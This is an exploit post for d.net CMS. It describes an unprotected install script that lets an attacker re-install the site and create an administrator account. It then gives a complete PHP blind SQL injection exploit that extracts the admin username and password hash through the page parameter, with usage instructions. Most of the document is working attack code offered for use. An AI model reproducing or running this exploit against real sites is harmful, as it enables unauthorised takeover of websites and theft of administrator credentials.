d.net CMS Reinstall / Blind SQL Injection

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[+] Arbitrary Re-Installation Vulnerability  
  
There's no check about the elimination of 'help' directory,   
then whenever an administrator forget to delete it, we can  
re-install the CMS, it means we can add a new administrator  
account, without specify database's informations.  
  
http://hostname/dnetCMS/help/install.php  
  
  
  
[+] Blind SQL Injection Exploit  
  
<?php  
  
function usage () {  
exit ( "\n".  
"[+] d.net CMS Blind SQL Injection Exploit\n".  
"[+] Author : darkjoker\n".  
"[+] Site : http://darkjoker.net23.net\n".  
"[+] Download: https://sourceforge.net/projects/dnet/\n".  
"[+] Usage : php xpl.php <hostname> <path>\n".  
"[+] Ex. : php xpl.php localhost /dnetCMS/\n".  
"[+] Greetz : cristina, puccio (they kept me company when I coded this stuff :D)\n".  
"\n");  
}  
  
function hex ($string) {  
$i=0;  
while ($i<strlen($string))   
$hex .= "%".dechex(ord($string[$i++]));  
return $hex;  
}  
  
function check ($hostname, $path, $character, $position, $field) {  
$character = ord($character);  
$sp = fsockopen ($hostname, 80);  
$query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- ");  
$request = "GET {$path}index.php?page={$query} HTTP/1.1\r\n".  
"Host: {$hostname}\r\n".  
"Connection: Close\r\n\r\n";  
fputs ($sp, $request);  
while (!feof ($sp))   
$reply .= fgets ($sp,1024);  
fclose ($sp);  
if ((preg_match ("|Location: index\.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply)))  
return false;  
else  
return true;  
}  
  
function get_field ($hostname, $path, $field) {  
echo "[+] ".ucfirst($field)." (hash): ";  
$chars = "abcdef0123456789";  
for($i=0,$d=1;$d<=32;$i++) {  
if (check ($hostname, $path, $chars [$i], $d, $field)) {  
echo $chars [$i];  
$i = -1;  
$d++;  
}  
}  
echo "\n";  
}  
  
if ($argc != 3)  
usage ();  
$hostname = $argv [1];  
$path = $argv [2];  
$fields = array ("username", "password");  
foreach ($fields as $field)  
get_field ($hostname, $path, $field);  
  
  
`